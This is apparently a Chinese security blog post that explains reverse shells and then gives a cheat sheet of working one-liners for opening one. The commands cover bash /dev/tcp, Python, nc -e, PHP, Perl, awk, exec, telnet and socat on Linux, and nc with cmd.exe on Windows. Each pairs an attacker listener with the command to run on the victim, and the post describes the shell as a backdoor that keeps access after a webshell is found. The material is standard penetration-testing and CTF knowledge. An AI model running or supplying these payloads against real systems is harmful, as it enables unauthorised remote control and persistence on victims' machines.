反弹shell-v1

v1:基本常见姿势。

What?

概念

  • Shell:俗称壳(用来区别于核),是指“为使用者提供操作界面”的软件(命令解析器)。它类似于DOS下的command.com和后来的cmd.exe,用于接收用户命令,然后调用相应的应用程序。简单说用户通过壳(shell)访问操作系统内核的服务,也就是由壳到内核,执行系统命令

  • getshell:获取到目标的命令执行权限。

  • webshell:指网站后门,通过web服务进行命令执行

  • 反弹shell:把命令行的输入输出转移到其它主机

功能

shell用来接收我们用户的输入,并且解释我们的命令。然后将其传给系统内核,内核再调用硬件来操作。

反弹shell

  • 反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

  • 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

  • 举例:攻击一台机器时,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这叫做正向连接。但是有一些情况下正向连接无法使用。因此,为了方便提权或其它操作必须要反弹shell。反弹shell相当于新增一个后门,当webshell被发现删除后权限不会丢失。

  • 因此通俗来说,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

How?

Linux反弹shell

bash反弹(最常用!!!)

  • 原理:bash -i代表在本地打开一个bash,然后就是/dev/tcp/ip/port/dev/tcp/Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,>&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。在/dev/tcp/ip/port后面加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入。

  • 符号>&理解

    当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
    当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

  • 实现

    # 攻击者
    nc -lvp <port>
    # 受害者
    bash -i >& /dev/tcp/<ip>/<port> 0>&1
    

python反弹

  • 要求:受害者主机有python

  • 原理:首先使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno()fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符。于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用ossubprocess在本地开启一个子进程,传入参数-i使bash交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令。

    # python反弹shell命令(清晰易读版)
    import os,socket,subprocess
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('<ip>',<port>))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(['/bin/bash','-i'])
    
  • 实现

    # 攻击者
    nc -lvp <port>
    # 受害者
    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('<ip>',<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    

nc反弹

  • 要求:受害者主机安装了nc

  • 原理:-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell,也就是反弹一个shell给远程,可以执行命令。

  • 实现

    # 攻击者
    nc -lvp <port>
    # 受害者
    nc -e /bin/bash <ip> <port>
    nc -e /bin/sh <ip> <port>
    

php反弹

  • 要求:受害者主机有phpphp配置关闭safe_mode选项。

  • 原理:使用phpexec函数执行反弹shell

  • 实现:

    # 攻击者
    nc -lvnp <port>
    
    # 受害者
    php -r 'exec("/usr/bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1");'
    php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/bash -i <&3 >&3 2>&3");'
    

exec反弹

  • 原理:

    • 0<&196;:这个部分尝试将文件描述符 196 分配给标准输入(stdin)。

    • exec:开始一个新进程来替换当前 shell。

    • 196<:将文件描述符 196 分配给输入。

    • >/dev/tcp/<ip>/<port>:将输出重定向到指定的 IP 地址和端口。

    • 196:指定用于连接的文件描述符。

    • sh:启动一个新的 shell。

    • <&196:将文件描述符 196 分配给 shell 的标准输入。

    • >&196:将 shell 的标准输出重定向到文件描述符 196。

    • 2>&196:将 shell 的标准错误输出也重定向到文件描述符 196。

  • 实现

    # 攻击者
    nc -lvnp <port>
    
    # 受害者
    0<&196;exec 196<>/dev/tcp/<ip>/<port>; sh <&196 >&196 2>&196
    

perl反弹

  • 实现
    # 攻击者
    nc -lvnp <port>
    # 受害者
    perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

awk反弹

  • 实现:
    # 攻击者
    nc -lvnp <port>
    
    # 受害者
    awk 'BEGIN{s="/inet/tcp/0/<ip>/<port>";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
    

telnet反弹

  • 要求:需要在攻击主机上监听两个端口,执行反弹shell命令后,一个用于输入命令,一个查看命令执行后的结果。

  • 实现:

    # 攻击者
    nc -lvnp <port1>		#输入命令
    nc -lvnp <port2>		#输出命令
    
    # 受害者
    telnet <ip> <port1> | /bin/bash | telnet <ip> <port2>
    

socat反弹

  • 解读:

    • exec:告诉 socat 在连接建立后执行指定的命令。

    • bash -li:启动一个交互式的登录 shell。-l 代表登录 shell,它会读取并执行 /etc/profile 和 ~/.bash_profile 或 ~/.profile 文件。-i 代表交互式 shell,这通常在终端运行时使用。

    • pty:为执行的命令分配一个伪终端(pseudo-terminal),这使得命令可以像在终端中一样运行,支持交互式输入和输出。

    • stderr:将标准错误重定向到伪终端,这样错误信息也能被正确显示。

    • setsid:创建一个新的会话,并使执行的命令成为该会话的组长进程。这样做可以确保信号(如中断信号)正确地传递给子进程。

    • sigint:允许发送 INT(中断)信号到子进程。这通常用于通过 Ctrl+C 终止进程。

    • sane:启用“sane”模式,这会对某些设置进行优化,以避免潜在的问题,比如终端的字符擦除行为。

    • tcp:::指定要连接的 TCP 服务器的 IP 地址和端口号。

  • 实现

    # 攻击者
    nc -lvnp <port>
    
    # 受害者
    socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
    

Windows反弹shell

nc反弹shell

  • 要求:在主机上提前安装nc工具。

  • 实现

    # 攻击者
    nc -lvnp <port>
    
    # 受害者
    nc <ip> <port> -e c:\windows\system32\cmd.exe
    

MSF反弹shell

利用MSF内置模块即可,先不做了。

参考文章

https://blog.csdn.net/weixin_44288604/article/details/111740527

posted @ 2024-11-18 12:05  ddd\flag  阅读(52)  评论(0)    收藏  举报